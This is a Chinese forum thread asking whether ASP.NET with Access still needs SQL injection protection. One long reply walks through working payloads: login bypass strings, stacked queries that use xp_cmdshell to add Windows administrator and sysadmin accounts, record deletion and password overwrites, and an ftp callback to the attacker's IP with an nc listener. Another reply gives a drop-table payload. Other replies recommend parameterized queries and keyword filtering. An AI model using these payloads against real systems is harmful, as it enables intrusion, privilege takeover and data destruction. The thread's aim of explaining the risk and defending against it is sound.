asp.net +access 还用堤防 注入攻击吗?
我听过一个老师的课说  注入攻击基本上都是针对asp的。.net可以不用考虑。

解决方案 »

  1.   

    关于身份验证
    sql="select * from user where name='"&name&"' and pwd='"&pwd&"'"
    ……
        不要以为没有人会这样写,我见过很多很多,如果你相信我:),看看攻击者能做什么:
        (1)我们在用户名位置输入【admin' or 1='1】,在密码区输入【11】。注:内容只有【】内的。看看sql会变成什么:
    以下内容为程序代码:sql=select * from user where name='admin' or 1='1' and pwd='11'     我们知道,or是一个逻辑运算符,在判断多个条件的时候,只要有一个成立,则等式就返回真,后面的and就不再进行判断了,也就是说我们绕过了密码验证,只要我们知道用户名就可以登陆该系统。
        (2)我们也可以在用户名位置输入【admin' --】,在密码区输入【11】。再看看sql:
    以下内容为程序代码:sql=select * from user where name='admin' --' and pasword='11'     同样,通过连接符--注释掉了后面的密码验证,对access数据库无效。
        (3)如果可以通过连接符注释掉后面的验证,那么就更有意思了,来看我们能作什么:
        a、在用户名位置输入【admin';exec master.dbo.sp_addlogin Cool;--】,添加一个sql用户
        b、在用户名位置输入【admin';exec master.dbo.sp_password null,123456,Cool;--】,给Cool设置密码为123456
        c、在用户名位置输入【admin';exec master.dbo.sp_addsrvrolemember Cool,sysadmin;--】,给Cool赋予System Administrator权限
        d、在用户名位置输入【admin';exec master.dbo.xp_cmdshell 'net user Cool 123456 /workstations:* 
    /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- 】,给系统添加一个密码为123456的帐户Cool,并设置相关属性,关于net user命令可以参考这里。
        e、在用户名位置输入【admin';exec master.dbo.xp_cmdshell 'net localgroup administrators Cool /add';--】,把cool用户添加到管理员组。
        现在觉得恐怖了没有,当然我还没说完,实现这些必须是该站点使用sa或者system administrator权限的用户来连接数据库,普通的的虚拟空间是不用想了,除非管理员是SB。但是对于那些站点放在自己服务器上的网站,很难说哦,真的很难说,呵呵,我见过N个。
        那如果不是sa,是不是就什么也不能做了,当然不是!只是不能获得太高权限来控制sql库和系统了,但是对这个库,我们还是拥有完整的管理权限。来看看我们能作什么:
        a、输入【admin';delete user;--】,一旦他的表名就是user,就会删除user表里所有记录。够狠吧!你可千万别这么做哦!
        b、输入【admin';insert into user (name,pwd) values ('cool','123456');--】,可以给user表添加一个用户,当然前提是表名和字段名都要正确。
        c、输入【admin';update news set pwd='123456' where name='admin';--】,可以修改admin的密码,当然前提也是表名和字段名都要正确。
        更多的攻击内容,你可以参考sql语法。
        看来如果不是sa还是比较郁闷的,当然,我们也有一些简单的方法来判断网站是否使用sa来连接数据库。
        a、在cmd中执行nc -l -p 21,监听本机的21端口;当然也可以采用火墙什么的。
        b、输入【admin';exec master.dbo.xp_cmdshell 'ftp *.*.*.*'】,其中*代表你的ip地址,如果发现有连接,就可以断定是使用sa了,而且可以获得网站数据库的ip地址,因为有些网站web和sql是放在不同服务器上的;如果没有连接,则网站使用的是非sa帐户。
      

  2.   

    说是sql注入,关asp和asp.net什么事?唉!
      

  3.   

    Sql注入,现在的老师也是混...
      

  4.   

    ACCESS更要注重安全了,首先它是个文件,所以你得提防被下载非法利用,这比SQL注入更可怕
    再者,.NET的防止SQL注入还是非常要注意的,如直接拼接SQL的,是最容易被注入的
    所以你要么用参数,要么写防止注的语句
      

  5.   

    用OleDbParameter就可以了, ADO里也可以用Parameter
      

  6.   

    asp.net和asp都要防止注入
    不过asp.net防止注入比较容易 
    access的安全性比sql脆弱 
    不过危险也小一些 sql的sa权限非常大 如果sql的sa权限被获取还可以控制到服务器
      

  7.   

    谁说不用防了呀...
      select * from table where username='sss' and '1'='1';drop table tablename --
      用"--"把后面注释就可以破坏数据库了
      

  8.   

    sql注入是针对数据库的吧,你用access防止别让人下载这个数据库就可以了,把数据库名的后缀改掉。还有,SqlParameter用参数,这样就可以防90%了吧
      

  9.   

    老师是垃圾
    用参数或者存储过程可以有效的防注
    还不放心可以有?KEY=VALUE形式的页过滤一些关键字就完全OK了
    像'exec',';','insert','update','and'......
      

  10.   

    你老师小白,叫他没事上csdn来学习一下。
      

  11.   


    哈哈,有同感啊,不过我觉得大学的老师90%的水平都不如出来搞两年.net的学生